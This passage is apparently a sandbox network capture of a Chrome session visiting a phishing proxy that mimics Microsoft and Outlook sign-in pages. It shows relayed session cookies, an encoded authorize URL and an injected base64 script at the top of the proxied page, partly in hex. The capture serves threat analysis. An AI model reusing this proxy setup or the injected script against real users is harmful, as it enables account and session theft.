12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; expires=Fri, 26-Apr-2024 13:37:18 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; expires=Fri, 26-Apr-2024 18:39:18 GMT; path=/;SameSite=None; secure; HttpOnly X-CalculatedBETarget: PAXP190MB1472.EURP190.PROD.OUTLOOK.COM X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-BeSku: WCS6 X-OWA-DiagnosticsInfo: 1;0;0 X-IIDs: 0 X-BackEnd-Begin: 2024-04-26T12:37:18.946 X-BackEnd-End: 2024-04-26T12:37:18.946 X-DiagInfo: PAXP190MB1472 X-BEServer: PAXP190MB1472 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 302 X-FEProxyInfo: AM8P190CA0014.EURP190.PROD.OUTLOOK.COM X-FEEFZInfo: AMS X-FEServer: PR1P264CA0105, AM8P190CA0014 NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-FirstHopCafeEFZ: AMS Date: Fri, 26 Apr 2024 12:37:18 GMT Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 12:37:19 UTC	1302	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 49 69 6b 73 65 Data Ascii: <html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49739	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:19 UTC	1822	OUT	GET /?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw== HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://wordpressprofissional.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag
2024-04-26 12:37:20 UTC	2049	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: f3a83365-e0f9-47ee-8cd1-96f5583ad500 x-ms-ests-server: 2.1.17846.6 - NEULR1 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; domain=6knvejjuzh3.scrdata-doc.cfd; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AszQtRD_nHZBkxtZm7ZYv5s; expires=Sun, 26-May-2024 12:37:20 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8vBBYsqv2wVVE2GhFqG0N9Me0A1GRLrxIXMJ4jElqfAIjpqiFRlZqDrBnhENSkwUC9wL4tmIFmwNrGA9r5kwKiIk22ALSHj7BNXexxLycJSHzJPbLHWJkKU8rmv0jsDYENXKVuLBKilcx99i_PBOnakrUhtIoPltZqt_F4p5vIrggAA; domain=6knvejjuzh3.scrdata-doc.cfd; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Fri, 26 Apr 2024 12:37:19 GMT Connection: close content-length: 21310 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 12:37:20 UTC	14335	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2
2024-04-26 12:37:20 UTC	6975	IN	Data Raw: 65 20 6e 75 6c 6c 2e 22 7d 72 3f 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 3a 63 2e 4f 6e 53 75 63 63 65 73 73 28 65 2c 74 29 7d 2c 63 2e 4f 6e 53 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 65 29 7b 74 68 72 6f 77 22 54 68 65 20 74 61 72 67 65 74 20 65 6c 65 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 70 72 6f 76 69 64 65 64 20 61 6e 64 20 63 61 6e 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 22 7d 69 66 28 75 28 65 29 29 7b 72 65 74 75 72 6e 20 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 7d 76 61 72 20 6e 3d 65 2e 73 72 63 7c 7c 65 2e 68 72 65 66 7c 7c 22 22 2c 6f 3d 69 28 29 2c 73 3d 61 28 29 3b 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 4c 6f 61 64 65 64 22 2c 65 29 3b 76 61 72 20 64 3d 6e 65 77 20 63 0a 3b 64 2e 66 61 69 6c 4d 65 73 73 Data Ascii: e null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(u(e)){return c.OnError(e,t)}var n=e.src\|\|e.href\|\|"",o=i(),s=a();r("[$Loader]: Loaded",e);var d=new c;d.failMess

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49740	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:21 UTC	2243	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_ChpboAn7HyXj89A22M8mzg2.js HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; fpc=AszQtRD_nHZBkxtZm7ZYv5s; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8vBBYsqv2wVVE2GhFqG0N9Me0A1GRLrxIXMJ4jElqfAIjpqiFRlZqDrBnhENSkwUC9wL4tmIFmwNrGA9r5kwKiIk22ALSHj7BNXexxLycJSHzJPbLHWJkKU8rmv0jsDYENXKVuLBKilcx99i_PBOnakrUhtIoPltZqt_F4p5vIrggAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-04-26 12:37:21 UTC	1391	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:21 GMT Content-Type: application/x-javascript content-length: 141355 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 26 Mar 2024 18:07:05 GMT ETag: 0x8DC4DBF8B990C6B x-ms-request-id: a56368e8-d01e-005f-069e-970fb2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123721Z-16f6b7d4654x9tkrn7h9pneu6g0000000b30000000009bab x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 12:37:21 UTC	14993	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd eb 5b e3 38 d2 38 fa fd fd 2b 82 77 0f 13 4f 4c c8 05 68 70 70 e7 97 06 ba 9b 19 20 0c 81 e9 99 05 96 c7 89 15 70 77 b0 b3 b6 c3 65 20 e7 6f 3f 75 91 6c d9 71 e8 9e 7d cf 73 be 9c b9 04 5b 2a c9 52 a9 aa 54 55 2a 49 eb 3f af fc 4f e5 e7 ca da 8f ff 53 19 9c f7 ce ce 2b fd 8f 95 f3 cf 87 67 fb 95 53 78 fb b3 72 d2 3f 3f dc 3b f8 f1 7a f0 a3 f8 ff f9 9d 1f 57 c6 fe 44 54 e0 ef d0 8d 85 57 09 83 4a 18 55 fc 60 14 46 d3 30 72 13 11 57 ee e1 37 f2 dd 49 65 1c 85 f7 95 e4 4e 54 a6 51 f8 55 8c 92 b8 32 f1 e3 04 0a 0d c5 24 7c ac 54 a1 ba c8 ab 9c ba 51 f2 5c 39 3c 35 eb 50 bf 80 da fc 5b 3f 80 d2 a3 70 fa 0c cf 77 49 25 08 13 7f 24 2a 6e e0 51 6d 13 78 09 62 51 99 05 9e 88 2a 8f 77 fe e8 ae 72 ec 8f a2 30 0e c7 49 25 12 23 e1 Data Ascii: [88+wOLhpp pwe o?ulq}s[RTUI?OS+gSxr??;zWDTWJU`F0rW7IeNTQU2$\|TQ\9<5P[?pwI%$nQmxbQwr0I%#
2024-04-26 12:37:21 UTC	1391	IN	Data Raw: 2e 54 42 2b 57 05 7f 58 b6 73 80 71 99 7d 30 57 c4 13 ce 02 f4 7a 18 d0 5b 2b cd fc e0 8e be 41 f7 65 26 bd 11 06 f6 41 5c 84 b7 87 5e 5a 1b d2 0b 5e 45 8c e8 23 04 d0 4b 4b 05 4b 93 d1 3f 0e ed 76 26 86 08 80 2a c3 7b 8c 68 5b d0 b9 3b 04 12 27 6b 14 c9 56 5e 8f d8 7a 67 0d a6 78 42 36 6e b7 00 89 72 31 c5 ed 15 f8 b4 8f d3 44 7b 83 70 d1 de b4 3e e3 ad c0 ed 2d ab 07 fc fe 88 50 db fc 48 60 1b 0d dc 30 05 9f c2 8b 79 ec 9d a6 f5 71 8b 36 66 7d 72 71 05 cc fb 00 a4 bc 95 ee b2 ee 8f 4f c3 38 66 91 e6 bc e4 58 87 96 17 47 53 d7 b0 78 f3 01 f1 01 27 d2 bb 61 1d 8b e4 2e f4 50 35 22 c0 9b 7b 7a bf b9 83 04 22 c0 8b e9 6d e4 7a e2 d8 bf e5 a9 e3 e2 0f c4 a3 5a 66 6f 58 c7 e1 57 17 37 dc d0 bc aa 07 c1 f3 e1 37 f1 ef 6e 84 8a b6 f3 22 45 10 16 b9 7f c2 69 f5 Data Ascii: .TB+WXsq}0Wz[+Ae&A\^Z^E#KKK?v&*{h[;'kV^zgxB6nr1D{p>-PH`0yq6f}rqO8fXGSx'a.P5"{z"mzZfoXW77n"Ei
2024-04-26 12:37:21 UTC	7542	IN	Data Raw: 39 4e 2b 33 9e 52 02 7d 1a 2b 3b 97 7c e6 cc 5e 5f 71 9a 44 55 e0 0d 5d a2 c1 ba c4 26 aa 12 2f 73 50 24 64 f5 7c c8 3e 1f eb b6 30 12 ea 1e d3 97 18 0f 7c b3 41 0d 0b 0b 87 c0 d5 b5 33 e0 b0 56 6c 45 c7 55 72 3b 85 c5 b3 1f 17 d2 e8 42 ac 92 74 a0 5a e7 25 94 e2 d9 b7 1e f2 b7 16 64 27 b2 cf e7 7c 41 11 1e 12 87 f7 de 70 3d e4 55 79 92 d7 c3 94 61 0c a6 62 1f 54 14 10 ca f8 87 0e d3 c7 07 d3 76 f1 32 8c 17 a8 74 69 75 b1 53 d0 35 04 5e 99 a5 ce 8d ad cb 13 32 d5 05 5a 7e f1 a2 36 ba dc 90 0e 43 d6 26 a4 c0 1a f1 27 ec 64 4e 57 b6 b9 29 94 4b f7 b7 c1 d4 40 cb 34 22 52 6c 3f 04 26 7c 40 05 6e 51 74 f1 70 d3 28 44 0a b3 3a 7c 59 e2 eb eb 25 de da b5 98 21 db aa 86 22 91 43 01 ca 33 b6 8a cf ce fd 2e d6 45 17 b1 9b 5e 65 85 2f 36 53 1f 56 f2 03 42 30 3f 47 Data Ascii: 9N+3R}+;\|^_qDU]&/sP$d\|>0\|A3VlEUr;BtZ%d'\|Ap=UyabTv2tiuS5^2Z~6C&'dNW)K@4"Rl?&\|@nQtp(D:\|Y%!"C3.E^e/6SVB0?G
2024-04-26 12:37:21 UTC	8842	IN	Data Raw: a7 b9 77 ef 6f db 48 d2 46 ff 3f 9f 82 c2 fa 67 03 21 44 4b 4e 32 49 40 23 fc d9 b2 3c 71 26 be ac 65 27 99 91 35 5a 90 00 25 58 14 c0 01 40 c9 0a c5 ef 7e ea a9 ea 6e 34 2e 94 9d d9 39 e7 7d 67 37 16 08 34 1a 7d ad ae eb 53 f4 7b 74 65 ee b0 e2 e0 a7 a8 64 6d 22 27 59 a3 fd d6 7c fa 5b ba 58 c8 63 3c bd e1 a7 3f 45 ed 69 d6 de ce da 1a e4 72 ac 2c 11 77 e2 81 5c 47 08 80 c3 81 f9 5d 15 87 de f0 6c 25 4a 62 89 4a 4b 85 d0 a5 7f b0 3b b8 3d c1 03 f6 08 ad 5d 41 32 b9 e1 23 e6 8f 45 69 5c 18 01 7f 54 ab 4d 13 5e a4 6e 62 b6 7f c2 5d 61 ea 90 68 82 b1 06 c2 dd 05 bb d0 29 35 0f 2b 50 37 ba 68 b8 16 a5 e3 96 48 0a de 7e 57 38 e4 44 11 dc 17 8e 06 02 c5 61 4f b6 4a 45 53 32 f8 ea 6c e8 44 17 af a2 cc f6 2a 52 c6 8c 0c 12 15 d4 e7 6e ea f1 d8 33 88 46 6d f1 44 Data Ascii: woHF?g!DKN2I@#<q&e'5Z%X@~n4.9}g74}S{tedm"'Y\|[Xc<?Eir,w\G]l%JbJK;=]A2#Ei\TM^nb]ah)5+P7hH~W8DaOJES2lD*Rn3FmD
2024-04-26 12:37:22 UTC	16384	IN	Data Raw: 40 4b 86 eb 8c 5a 13 a4 be 2c ee 40 bc e8 37 e3 ac 6e 43 98 4f ba cb 26 da 00 d7 c1 8c 8a 82 a8 d4 ae 73 e3 1f 7e 54 c3 e8 6e 61 52 7a f9 1f e3 27 29 f2 27 9b 0f 6c d0 72 b7 49 5d 74 e8 4a 9b ad bc f3 33 35 40 38 f2 26 15 a1 10 04 0e b7 c0 19 38 28 6a 37 7b fa e0 b6 4f 78 6d c9 46 6c 86 c0 03 99 59 23 b7 86 3c 14 b4 97 0a 44 76 43 70 22 f3 72 09 f5 a3 42 0b ea c5 83 61 ed 2b 36 53 e9 f9 b3 fb f7 67 0c 60 b1 0a cb 70 16 9a 48 9f 92 e4 20 84 71 2b a6 a0 1b ae 52 fb 80 a8 48 13 df 72 1e 64 8d 53 de f1 14 40 9b 63 65 06 05 b0 e1 b8 ef a8 8f 27 45 18 07 8a 9e cd dd 78 84 85 e5 19 f3 69 3c 92 15 46 e4 ab 1d 44 f5 2a af d7 e5 00 6f 0d 0c b8 84 02 eb 9d 6b f7 99 0c 80 3b cb 70 15 0e 87 c9 58 ed ab 26 ea 18 ef a4 15 ed c3 25 5f 01 0e 6b 27 69 87 34 cb 01 38 b3 39 Data Ascii: @KZ,@7nCO&s~TnaRz')'lrI]tJ35@8&8(j7{OxmFlY#<DvCp"rBa+6Sg`pH q+RHrdS@ce'Exi<FD*ok;pX&%_k'i489
2024-04-26 12:37:22 UTC	480	IN	Data Raw: db c0 98 2e fb e7 e9 33 bd 57 7a 3f ee 7d d1 d3 7b 24 f3 7d f5 fa dd e7 46 a1 30 a3 60 77 7b 87 53 4a 9b cc 44 b9 39 01 91 80 39 57 3a 60 1d 9f 42 6b a0 d8 1e ab f5 85 cb cc ca b8 58 c2 95 b1 42 6c ec a2 67 a1 54 92 fe 29 b2 e2 2b 9c c3 a3 77 47 ef 8f 0e df fe f2 82 d1 9b f3 b0 f3 94 ce 2c 90 71 6a 7f ee 69 fd 99 f9 48 aa 86 af 1e 69 37 99 34 2b 0d ea 5a 86 8e 0a 91 e4 a1 ef 9d 39 a4 a7 98 b8 65 8b 8b 4a 8a 52 7c ce 5b 3e ca 08 ce d7 f1 0b ed ae 14 ee 5a 7b a2 07 71 d2 a1 58 f4 d5 da 05 6e 08 17 b8 01 cf 4a 40 ef 89 97 af 24 09 a6 25 fe e8 db 3d 6f bc 65 a3 7e 6e 38 9c 77 4f cd 42 d7 ca e5 3b 7b df e8 3a 36 1a 5e 8a 07 78 0d f3 d3 a4 0b 33 59 47 b4 8a 94 f1 ee 4b 43 99 6a 46 85 93 07 cf ea a0 19 87 c1 7a fc 3f 17 4d c7 95 a8 82 83 15 47 08 e0 55 07 e9 b9 Data Ascii: .3Wz?}{$}F0`w{SJD99W:`BkXBlgT)+wG,qjiHi74+Z9eJR\|[>Z{qXnJ@$%=oe~n8wOB;{:6^x3YGKCjFz?MGU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49741	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
